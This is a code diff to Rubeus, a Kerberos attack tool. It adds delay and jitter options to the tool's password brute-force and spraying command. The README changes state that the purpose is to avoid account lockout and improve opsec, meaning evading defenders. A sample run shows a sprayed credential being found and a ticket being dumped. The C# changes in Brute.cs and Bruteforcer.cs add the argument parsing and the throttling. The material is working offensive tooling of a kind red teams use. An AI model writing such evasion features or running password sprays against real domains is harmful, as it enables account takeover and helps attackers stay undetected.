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32 changes: 30 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -125,7 +125,7 @@ Rubeus is licensed under the BSD 3-Clause license.
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down Expand Up @@ -1087,7 +1087,7 @@ The `/autorenew` flag will take an existing `/ticket:X` .kirbi file/blob, sleep

### brute

The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name.
The **brute** action will perform a Kerberos-based password bruteforcing or password spraying attack. **spray** can also be used as the action name.

C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket

Expand All @@ -1109,6 +1109,34 @@ The **brute** action will perform a Kerberos-based password bruteforcing or pass

doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...

Using the `/delay` and `/jitter` arguments allow throttling password bruteforce and password spray requests to avoid account lockout and/or increase opsec.

C:\Rubeus>Rubeus.exe brute /passwords:passwords.txt /noticket /delay:5000 /jitter:10

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.3.3

[*] Action: Perform Kerberos Brute Force

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):

doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...





### preauthscan

The **preauthscan** action will send AS-REQ's for all usernames passed into the `/users` argument to discover accounts that do not require Kerberos pre-authentication.
Expand Down
48 changes: 47 additions & 1 deletion Rubeus/Commands/Brute.cs
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,9 @@ public class Brute : ICommand
private string credPassword = "";
private string outfile = "";
private uint verbose = 0;
private int delay = 0;
private bool saveTickets = true;
private int jitter = 0;

protected class BruteArgumentException : ArgumentException
{
Expand All @@ -49,7 +51,8 @@ public void Execute(Dictionary<string, string> arguments)
this.outfile, this.verbose, this.saveTickets);

Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter);
bool success = bruter.Attack(this.usernames, this.passwords);
bool success = bruter.Attack(this.usernames, this.passwords, this.delay, this.jitter);

if (success)
{
if (!String.IsNullOrEmpty(this.outfile))
Expand Down Expand Up @@ -85,6 +88,8 @@ private void ParseArguments(Dictionary<string, string> arguments)
this.ParseOutfile(arguments);
this.ParseVerbose(arguments);
this.ParseSaveTickets(arguments);
this.ParseDelay(arguments);
this.ParseJitter(arguments);
}

private void ParseDomain(Dictionary<string, string> arguments)
Expand Down Expand Up @@ -205,6 +210,47 @@ private void ParseSaveTickets(Dictionary<string, string> arguments)
}
}

private void ParseDelay(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/delay"))
{
try
{
this.delay = Int32.Parse(arguments["/delay"]);
}
catch
{
Console.WriteLine("[X] Delay must be an integer.");
}
if (delay < 100)
{
Console.WriteLine("[!] WARNING: Delay is in milliseconds! Please enter a value > 100.");
return;
}
}
}

private void ParseJitter(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/jitter"))
{
try
{
this.jitter = Int32.Parse(arguments["/jitter"]);
}
catch
{
Console.WriteLine("[X] Jitter must be an integer between 1-100.");
return;
}
if(this.jitter <= 0 || this.jitter > 100)
{
Console.WriteLine("[X] Jitter must be between 1-100.");
return;
}
}
}

private void ObtainUsers()
{
if(this.usernames == null)
Expand Down
2 changes: 1 addition & 1 deletion Rubeus/Domain/Info.cs
Original file line number Diff line number Diff line change
Expand Up @@ -51,7 +51,7 @@ public static void ShowUsage()
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/delay:MILLISECONDS] [/jitter:PERCENT] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down
3 changes: 2 additions & 1 deletion Rubeus/lib/Bruteforcer.cs
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ public Bruteforcer(string domain, string domainController, IBruteforcerReporter
this.validCredentials = new Dictionary<string, string>();
}

public bool Attack(string[] usernames, string[] passwords)
public bool Attack(string[] usernames, string[] passwords, int delay, int jitter)
{
bool success = false;
foreach (string password in passwords)
Expand All @@ -46,6 +46,7 @@ public bool Attack(string[] usernames, string[] passwords)
success = true;
}
}
Helpers.RandomDelayWithJitter(delay, jitter);
}

return success;
Expand Down